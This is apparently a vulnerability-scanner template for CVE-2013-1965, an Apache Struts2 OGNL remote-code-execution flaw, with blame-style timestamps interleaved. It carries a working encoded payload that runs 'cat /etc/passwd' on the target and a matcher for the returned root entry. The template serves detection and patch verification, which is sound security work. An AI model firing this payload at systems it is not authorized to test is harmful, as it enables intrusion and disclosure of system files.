2021-02-22 12:28:11 +00:00
id : CVE-2013-1965
info :
name : Apache Struts2 S2-012 RCE
author : pikpikcu
severity : critical
2021-04-22 09:02:19 +00:00
description : Apache Struts Showcase App 2.0.0 through 2.3.13, as used in Struts 2 before 2.3.14.3, allows remote attackers to execute arbitrary OGNL code via a crafted parameter name that is not properly handled when invoking a redirect.
2023-09-06 13:22:34 +00:00
remediation : Developers should immediately upgrade to Struts 2.3.14.3 or later.
2022-02-21 22:45:04 +00:00
reference :
- http://struts.apache.org/development/2.x/docs/s2-012.html
- https://nvd.nist.gov/vuln/detail/CVE-2013-1965
2022-05-17 09:18:12 +00:00
- https://bugzilla.redhat.com/show_bug.cgi?id=967655
2022-02-21 22:45:04 +00:00
classification :
2022-09-06 01:33:31 +00:00
cvss-metrics : CVSS:2.0/AV:N/AC:M/Au:N/C:C/I:C/A:C
2023-07-11 19:49:27 +00:00
cvss-score : 9.3
2022-02-21 22:45:04 +00:00
cve-id : CVE-2013-1965
2022-09-06 01:33:31 +00:00
cwe-id : CWE-94
2023-07-11 19:49:27 +00:00
epss-score : 0.00813
2023-11-27 09:19:41 +00:00
epss-percentile : 0.79823
2023-09-06 13:22:34 +00:00
cpe : cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 1
2023-07-11 19:49:27 +00:00
vendor : apache
product : struts
tags : cve,cve2013,apache,rce,struts,ognl
2021-02-22 12:28:11 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-02-22 12:28:11 +00:00
- method : POST
path :
- "{{BaseURL}}/user.action"
2023-07-11 19:49:27 +00:00
2021-02-22 12:28:11 +00:00
body : |
2021-08-19 14:44:46 +00:00
name=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C+%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D
2021-02-22 12:28:11 +00:00
2023-07-11 19:49:27 +00:00
headers :
Content-Type : application/x-www-form-urlencoded
2021-02-22 12:28:11 +00:00
matchers-condition : and
matchers :
- type : regex
regex :
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
2021-02-22 12:28:11 +00:00
- type : status
status :
- 200
2023-11-27 10:10:24 +00:00
# digest: 4b0a00483046022100856d46b441d22931015328f28a328d23590d7ca9deba437cb6964c32f4cd98bd022100d9dea2f2bb1b53f711ccba3f356a0cf313524179e4c567f2ec2b7759868e1f05:922c64590222798bb761d5b6d8e72950